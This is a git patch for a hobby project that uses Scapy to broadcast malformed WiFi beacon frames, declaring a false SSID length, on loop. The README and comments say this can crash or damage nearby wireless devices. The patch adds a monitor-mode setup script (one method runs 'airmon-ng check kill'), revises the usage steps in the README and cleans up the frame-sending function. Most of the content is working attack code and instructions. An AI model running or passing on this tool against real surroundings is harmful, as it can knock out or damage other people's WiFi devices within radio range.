From fcbfd9eceba344307115e7679ca26aad4c322a90 Mon Sep 17 00:00:00 2001 From: princesspi3 Date: Sat, 9 Aug 2025 00:32:20 +0000 Subject: [PATCH] updoots, helper script, cleanup --- README.md | 12 +- .../stolas-headdesk.gif | Bin h00th00t.py | 33 ++++-- wifi_monitor_mode.sh | 109 ++++++++++++++++++ 4 files changed, 137 insertions(+), 17 deletions(-) rename stolas-headdesk.gif => assets/stolas-headdesk.gif (100%) create mode 100644 wifi_monitor_mode.sh diff --git a/README.md b/README.md index 8ef9fef..88091e4 100644 --- a/README.md +++ b/README.md @@ -21,11 +21,13 @@ Testing is very challenging as it requires being out of range of all other WiFi ## Hooting (usage) **DO NOT TEST IN RANGE OF ANY DEVICE YOU ARE UNWILLING TO DAMAGE** 1. Designed for **linux** environments with **python3** -2. Optional: edit line `4` and `5` of [h00thoot.py](./h00th00t.py) to match your sender and wifi device preferences +2. Set wifi device to monitor mode `bash wifi_monitor_mode.sh` + * for usage see note at the top of [wifi_monitor_mode.sh](./wifi_monitor_mode.sh) +3. Optional: edit line `4` and `5` of [h00thoot.py](./h00th00t.py) to match your sender and wifi device preferences * Defaults are fine for most purposes -3. Install [Scapy](https://scapy.readthedocs.io/en/latest/installation.html) -4. Uncomment line `19` of [h00thoot.py](./h00th00t.py) -5. `python h00th00t.py` +4. Install [Scapy](https://scapy.readthedocs.io/en/latest/installation.html) +5. Uncomment line `38` of [h00thoot.py](./h00th00t.py) +6. `python h00th00t.py` * in some linux environments, sudo may be needed `sudo python h00th00t.py` --- -![Stolas uwu~](./stolas-headdesk.gif) \ No newline at end of file +![Stolas uwu~](./assets/stolas-headdesk.gif) diff --git a/stolas-headdesk.gif b/assets/stolas-headdesk.gif similarity index 100% rename from stolas-headdesk.gif rename to assets/stolas-headdesk.gif diff --git a/h00th00t.py b/h00th00t.py index 98c88f5..01c5ebd 100644 --- a/h00th00t.py +++ b/h00th00t.py @@ -1,8 +1,9 @@ from scapy.all import * # config your stuff here -iface = 'wlan0' +iface = 'wlan1' # wifi interface in monitor mode sender_bssid_mac = RandMAC() # used for source mac and bssid +# sender_bssid_mac = 'ac:cb:12:ad:58:27' # send raw wifi beacon frames ## USAGE: @@ -10,21 +11,29 @@ sender_bssid_mac = RandMAC() # used for source mac and bssid ### or ### beacon_raw(SSID=, reported_length=, interval_seconds=) ## DEFAULTS: -### SSID="DUMMY SSID" -### reported_length=255 -### interval_seconds=0.250 -def beacon_raw(SSID="DUMMY SSID", reported_length=255, interval_seconds=0.250): - # addr1 is destination (broadcast), addr2 is the source mac, addr3 is the bssid +### SSID="PrincessPiNet" +### reported_length=13 +### interval_seconds=0.25 +def beacon_raw(SSID=b"PrincessPiNet", reported_length=13, interval_seconds=0.25): + # set the frame settings + # addr1 is destination (broadcast), addr2 is the source mac, addr3 is the bssid dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender_bssid_mac, addr3=sender_bssid_mac) # set the frame settings - beacon = Dot11Beacon() # create the beacon - essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length - frame = RadioTap()/dot11/beacon/essid # assemble the frame - - print("FIRIN MY LAZORRRRRR") + + # set ssid info + ssid_info = Dot11Elt(ID='SSID', info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length + + # assemble the frame + frame = RadioTap()/dot11/Dot11Beacon()/ssid_info + + # print info + print(f"FIRIN MY LAZORRRRRR\n\tSSID: {SSID}\n\treported length: {reported_length}\n\tinterval seconds: {interval_seconds}\n\tsender bssid/mac: {sender_bssid_mac}\n") + + # send it sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop # this can be most any value really experimentation is needed ssid_binary = 0b0101 # a few random bits to send as the SSID # please be careful with this, it can crash or damage your local wifi devices -# beacon_raw(ssid_binary) # send it! USE WITH EXTREME CARE \ No newline at end of file +# beacon_raw(ssid_binary) # send it! USE WITH EXTREME CARE +# beacon_raw() # send dummy normal beacon for testing diff --git a/wifi_monitor_mode.sh b/wifi_monitor_mode.sh new file mode 100644 index 0000000..ca1e4a8 --- /dev/null +++ b/wifi_monitor_mode.sh @@ -0,0 +1,109 @@ +#!/bin/bash +# usage: +## wifi_monitor +### examples +#### wifi_monitor # DEFAULTS wlan1 and ip method +#### wifi_monitor wlan1 # wlan1 and default ip method +#### wifi_monitor wlan0 i # wlan0 and ip method +#### wifi_monitor wlan0 a # wlan0 and airmon-ng method +#### wifi_monitor wlan0 if # wlan0 and ifconfig method +## wifi device +### wlan0 [DEFAULT] +## methods: +### ifconfig, iwconfig, if, or iw ifconfig/iwconfig method +### ip, iw or i - ip/iw method [DEFAULT] +### airo, air, airmon-ng, or a - airodump-ng/airmon-ng method + +# set -e # fail on error + +check_package () { + which -s $1 1>/dev/null 2>/dev/null + package_check=$? + + if [ $package_check -ne 0 ]; then + echo "FAIL: $1 is not installed, exiting" + exit + fi +} + +ifconfig_method () { + echo "Defaulting to ifconfig/iwconfig method on $wlan" + + # test packages + check_package ifconfig + check_package iwconfig + + echo "Taking down $wlan" + sudo ifconfig $wlan down + + echo "Setting $wlan to monitor mode" + sudo iwconfig $wlan mode monitor + + echo "Bringing $wlan back up" + sudo ifconfig $wlan up +} + +ip_method () { + echo "Using ip/iw method for monitor mode on $wlan" + + # check packages + check_packages ip + check_package iw + + echo "Taking down $wlan" + sudo ip link set $wlan down + + echo "Setting $wlan to monitor mode" + sudo iw dev $wlan set type monitor + + echo "Bringing $wlan back up" + sudo ip link set $wlan up +} + +airmon_method () { + echo "Using airmon-ng method for monitor mode on $wlan" + + # check packages + check_package airmon-ng + check_package airodump-ng + + wifi_mon="${wlan}mon" # name the monitor device + + echo "Cleaning up any existing processes" + sudo airmon-ng check kill + + echo "Starting $wlan in monitor mode" + sudo airmon-ng start $wlan + + echo "Putting $wlan in monitor mode" + sudo airodump-ng $wlan +} + +echo "Setting up for monitor mode" + +if [ -z $1 ]; then + echo "Defaulting to wlan1 for wifi device" + wlan=wlan1 +else + echo "Using $1 for wifi device" + wlan=$1 +fi + +# default, ifconfig/iwconfig method +if [ -z $2 ]; then # default ip method + ip_method +elif [ "$2" == "ifconfig" -o "$2" == "if" ]; then + ifconfig_method # explicit ifconfig method +elif [ "$2" == "ip" -o "$2" == "i" -o "$2" == "iw" ]; then + ip_method +elif [ "$2" == "airo" -o "$2" == "air" -o "$2" == "airmon-ng" -o "$2" == "a" ]; then + airmon_method +fi + +echo "Hold on 5 seconds..." +sleep 5 + +echo "Current wireless configuration" +iwconfig + +echo "Done!"